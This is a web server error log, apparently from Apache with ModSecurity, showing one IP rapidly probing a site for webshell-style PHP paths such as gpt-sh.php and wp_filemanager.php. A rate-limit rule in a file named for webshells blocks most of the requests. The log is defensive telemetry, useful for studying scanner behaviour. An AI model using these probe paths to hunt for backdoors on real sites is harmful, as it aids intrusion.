[Sat Apr 04 00:28:50.456141 2026] [:error] [pid 35469:tid 35482] [client 20.215.254.185:63765] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "ac_qwqGvTIc8-wY3jUTWqAAAAQs"]
[Sat Apr 04 00:28:50.976661 2026] [:error] [pid 33542:tid 33547] [client 20.215.254.185:59240] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "ac_qwnwb6uB1LaGtepY_zwAAAMI"]
[Sat Apr 04 00:28:51.490385 2026] [:error] [pid 33446:tid 33495] [client 20.215.254.185:56196] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "ac_qw9g3dCqFYIIdw0qqPgAAAFI"]
[Sat Apr 04 00:28:52.002855 2026] [:error] [pid 40533:tid 40547] [client 20.215.254.185:60586] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "ac_qxPbIAA8AViDmwssLhAAAAUw"]
[Sat Apr 04 00:28:52.526590 2026] [:error] [pid 33542:tid 33568] [client 20.215.254.185:63211] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "ac_qxHwb6uB1LaGtepY_1gAAANc"]
[Sat Apr 04 00:28:53.044511 2026] [:error] [pid 40562:tid 40584] [client 20.215.254.185:63172] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "ac_qxTfFMXuP9zvqCerCuQAAAZM"]
[Sat Apr 04 00:28:53.561101 2026] [:error] [pid 33542:tid 33550] [client 20.215.254.185:59238] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "ac_qxXwb6uB1LaGtepY_2wAAAMU"]
[Sat Apr 04 00:28:54.074840 2026] [:error] [pid 40562:tid 40578] [client 20.215.254.185:61541] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "ac_qxjfFMXuP9zvqCerCuwAAAY0"]
[Sat Apr 04 00:28:54.589008 2026] [:error] [pid 40533:tid 40541] [client 20.215.254.185:47614] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "ac_qxvbIAA8AViDmwssLhwAAAUY"]
[Sat Apr 04 00:28:55.102292 2026] [:error] [pid 40533:tid 40538] [client 20.215.254.185:47579] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "ac_qx_bIAA8AViDmwssLjAAAAUM"]
[Sat Apr 04 00:28:55.620963 2026] [:error] [pid 40533:tid 40536] [client 20.215.254.185:56216] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "ac_qx_bIAA8AViDmwssLjwAAAUE"]
[Sat Apr 04 00:28:56.138996 2026] [:error] [pid 33542:tid 33569] [client 20.215.254.185:61505] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "ac_qyHwb6uB1LaGtepY_4AAAANg"]
[Sat Apr 04 00:28:56.655782 2026] [:error] [pid 40562:tid 40589] [client 20.215.254.185:63181] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "ac_qyDfFMXuP9zvqCerCvwAAAZg"]
[Sat Apr 04 00:28:57.171978 2026] [:error] [pid 33446:tid 33482] [client 20.215.254.185:59739] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac_qydg3dCqFYIIdw0qqRQAAAEU"]
[Sat Apr 04 00:28:57.693813 2026] [:error] [pid 33542:tid 33555] [client 20.215.254.185:64389] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac_qyXwb6uB1LaGtepY_7wAAAMo"]
[Sat Apr 04 00:28:58.207686 2026] [:error] [pid 40533:tid 40553] [client 20.215.254.185:47589] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac_qyvbIAA8AViDmwssLmAAAAVI"]
[Sat Apr 04 00:28:58.724197 2026] [:error] [pid 33542:tid 33551] [client 20.215.254.185:59232] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac_qynwb6uB1LaGtepY_9gAAAMY"]
[Sat Apr 04 00:28:59.239273 2026] [:error] [pid 40533:tid 40554] [client 20.215.254.185:56246] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "ac_qy_bIAA8AViDmwssLngAAAVM"]
[Sat Apr 04 00:28:59.754207 2026] [:error] [pid 55174:tid 55194] [client 20.215.254.185:60557] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "ac_qy5_WKqUonPNUHYwdAAAAAdI"]
[Sat Apr 04 00:29:00.274858 2026] [:error] [pid 40533:tid 40553] [client 20.215.254.185:47556] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "ac_qzPbIAA8AViDmwssLowAAAVI"]
[Sat Apr 04 00:29:00.788877 2026] [:error] [pid 40533:tid 40558] [client 20.215.254.185:63228] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "ac_qzPbIAA8AViDmwssLpwAAAVc"]
[Sat Apr 04 00:29:01.308453 2026] [:error] [pid 33445:tid 33464] [client 20.215.254.185:56226] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac_qzVlRNZ0iDVmJWM2FdAAAAA4"]
[Sat Apr 04 00:29:01.821456 2026] [:error] [pid 33446:tid 33494] [client 20.215.254.185:60590] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac_qzdg3dCqFYIIdw0qqSQAAAFE"]
[Sat Apr 04 00:29:02.344957 2026] [:error] [pid 35469:tid 35492] [client 20.215.254.185:56217] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac_qzqGvTIc8-wY3jUTWvgAAARU"]
[Sat Apr 04 00:29:02.867465 2026] [:error] [pid 33446:tid 33480] [client 20.215.254.185:60552] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac_qztg3dCqFYIIdw0qqSwAAAEM"]
[Sat Apr 04 00:29:03.384960 2026] [:error] [pid 40562:tid 40579] [client 20.215.254.185:61558] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pass4.php"] [unique_id "ac_qzzfFMXuP9zvqCerCwAAAAY4"]
[Sat Apr 04 00:29:03.917740 2026] [:error] [pid 33542:tid 33546] [client 20.215.254.185:47566] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pass4.php"] [unique_id "ac_qz3wb6uB1LaGtepZACwAAAME"]
[Sat Apr 04 00:29:04.437461 2026] [:error] [pid 40562:tid 40569] [client 20.215.254.185:45960] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pass4.php"] [unique_id "ac_q0DfFMXuP9zvqCerCwwAAAYQ"]
[Sat Apr 04 00:29:04.964502 2026] [:error] [pid 35469:tid 35486] [client 20.215.254.185:59237] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pass4.php"] [unique_id "ac_q0KGvTIc8-wY3jUTWxgAAAQ8"]
[Sat Apr 04 00:29:05.479982 2026] [:error] [pid 40562:tid 40573] [client 20.215.254.185:64488] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "ac_q0TfFMXuP9zvqCerCxgAAAYg"]
[Sat Apr 04 00:29:05.997042 2026] [:error] [pid 33445:tid 33472] [client 20.215.254.185:47583] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "ac_q0VlRNZ0iDVmJWM2FeAAAABY"]
[Sat Apr 04 00:29:06.511849 2026] [:error] [pid 35469:tid 35475] [client 20.215.254.185:64456] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "ac_q0qGvTIc8-wY3jUTW0gAAAQQ"]
[Sat Apr 04 00:29:07.027513 2026] [:error] [pid 33542:tid 33564] [client 20.215.254.185:60575] File does not exist: /usr/local/apache/htdocs/suspended-page/a5.php
[Sat Apr 04 00:29:07.286369 2026] [:error] [pid 33542:tid 33559] [client 20.215.254.185:60575] File does not exist: /usr/local/apache/htdocs/suspended-page/ibcqocdtu3eovdx2hwj7Cdefault.php
[Sat Apr 04 00:29:07.545108 2026] [:error] [pid 33542:tid 33558] [client 20.215.254.185:60575] File does not exist: /usr/local/apache/htdocs/suspended-page/sadcut1.php
[Sat Apr 04 00:29:07.803850 2026] [:error] [pid 33542:tid 33550] [client 20.215.254.185:60575] File does not exist: /usr/local/apache/htdocs/suspended-page/a4.php
[Sat Apr 04 00:29:08.062433 2026] [:error] [pid 33542:tid 33545] [client 20.215.254.185:60575] File does not exist: /usr/local/apache/htdocs/suspended-page/gpt-sh.php
[Sat Apr 04 00:29:08.321285 2026] [:error] [pid 33542:tid 33555] [client 20.215.254.185:60575] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Sat Apr 04 00:29:08.579505 2026] [:error] [pid 33542:tid 33569] [client 20.215.254.185:60575] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-the.php
[Sat Apr 04 00:29:08.838953 2026] [:error] [pid 33542:tid 33554] [client 20.215.254.185:60575] File does not exist: /usr/local/apache/htdocs/suspended-page/irpl4xz4fmlzm4tlvvu4h1mCdefault.php
[Sat Apr 04 00:29:09.097841 2026] [:error] [pid 33542:tid 33548] [client 20.215.254.185:60575] File does not exist: /usr/local/apache/htdocs/suspended-page/ogifomnzqnlvwh5womfjirvaCdefault.php
[Sat Apr 04 00:29:09.356488 2026] [:error] [pid 33542:tid 33556] [client 20.215.254.185:60575] File does not exist: /usr/local/apache/htdocs/suspended-page/wlld5fjtdpjmjhsds3qzmipfCdefault.php
[Sat Apr 04 00:29:09.616485 2026] [:error] [pid 33542:tid 33551] [client 20.215.254.185:60575] File does not exist: /usr/local/apache/htdocs/suspended-page/tfm.php
[Sat Apr 04 00:29:09.871469 2026] [:error] [pid 33542:tid 33567] [client 20.215.254.185:60575] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "ac_q1Xwb6uB1LaGtepZALAAAANY"]
[Sat Apr 04 00:29:10.385464 2026] [:error] [pid 33445:tid 33458] [client 20.215.254.185:56212] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "ac_q1llRNZ0iDVmJWM2FmQAAAAg"]
[Sat Apr 04 00:29:10.903685 2026] [:error] [pid 55174:tid 55196] [client 20.215.254.185:61507] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "ac_q1p_WKqUonPNUHYwdGQAAAdQ"]
[Sat Apr 04 00:29:11.422785 2026] [:error] [pid 55174:tid 55199] [client 20.215.254.185:60587] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "ac_q15_WKqUonPNUHYwdHgAAAdc"]
[Sat Apr 04 00:29:11.946836 2026] [:error] [pid 33446:tid 33478] [client 20.215.254.185:56207] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "ac_q19g3dCqFYIIdw0qqawAAAEE"]
[Sat Apr 04 00:29:12.468491 2026] [:error] [pid 55174:tid 55193] [client 20.215.254.185:60565] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "ac_q2J_WKqUonPNUHYwdJQAAAdE"]
[Sat Apr 04 00:29:12.990092 2026] [:error] [pid 55174:tid 55192] [client 20.215.254.185:47615] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "ac_q2J_WKqUonPNUHYwdJgAAAdA"]
[Sat Apr 04 00:29:13.516979 2026] [:error] [pid 33446:tid 33484] [client 20.215.254.185:63747] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "ac_q2dg3dCqFYIIdw0qqcQAAAEc"]
[Sat Apr 04 00:29:14.092594 2026] [:error] [pid 40533:tid 40538] [client 20.215.254.185:63180] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac_q2vbIAA8AViDmwssLvwAAAUM"]
[Sat Apr 04 00:29:14.608643 2026] [:error] [pid 55174:tid 55196] [client 20.215.254.185:56195] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac_q2p_WKqUonPNUHYwdKwAAAdQ"]
[Sat Apr 04 00:29:15.145098 2026] [:error] [pid 40533:tid 40544] [client 20.215.254.185:60499] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac_q2_bIAA8AViDmwssLwwAAAUk"]
[Sat Apr 04 00:29:15.659568 2026] [:error] [pid 33447:tid 33506] [client 20.215.254.185:63223] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac_q20gaPmDHz92j4lNwtgAAAII"]
[Sat Apr 04 00:29:16.171610 2026] [:error] [pid 33542:tid 33547] [client 20.215.254.185:59241] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0yellow.php"] [unique_id "ac_q3Hwb6uB1LaGtepZANwAAAMI"]
[Sat Apr 04 00:29:16.746293 2026] [:error] [pid 33445:tid 33453] [client 20.215.254.185:52423] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0yellow.php"] [unique_id "ac_q3FlRNZ0iDVmJWM2FuAAAAAM"]
[Sat Apr 04 00:29:17.264284 2026] [:error] [pid 33446:tid 33478] [client 20.215.254.185:63205] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0yellow.php"] [unique_id "ac_q3dg3dCqFYIIdw0qqdAAAAEE"]
[Sat Apr 04 00:29:17.787610 2026] [:error] [pid 35469:tid 35478] [client 20.215.254.185:60607] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0yellow.php"] [unique_id "ac_q3aGvTIc8-wY3jUTW4QAAAQc"]
[Sat Apr 04 00:29:18.309575 2026] [:error] [pid 40533:tid 40550] [client 20.215.254.185:60573] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "ac_q3vbIAA8AViDmwssLyQAAAU8"]
[Sat Apr 04 00:29:18.850788 2026] [:error] [pid 40533:tid 40539] [client 20.215.254.185:47570] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "ac_q3vbIAA8AViDmwssLzgAAAUQ"]
[Sat Apr 04 00:29:19.397811 2026] [:error] [pid 40533:tid 40558] [client 20.215.254.185:56221] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "ac_q3_bIAA8AViDmwssL1QAAAVc"]
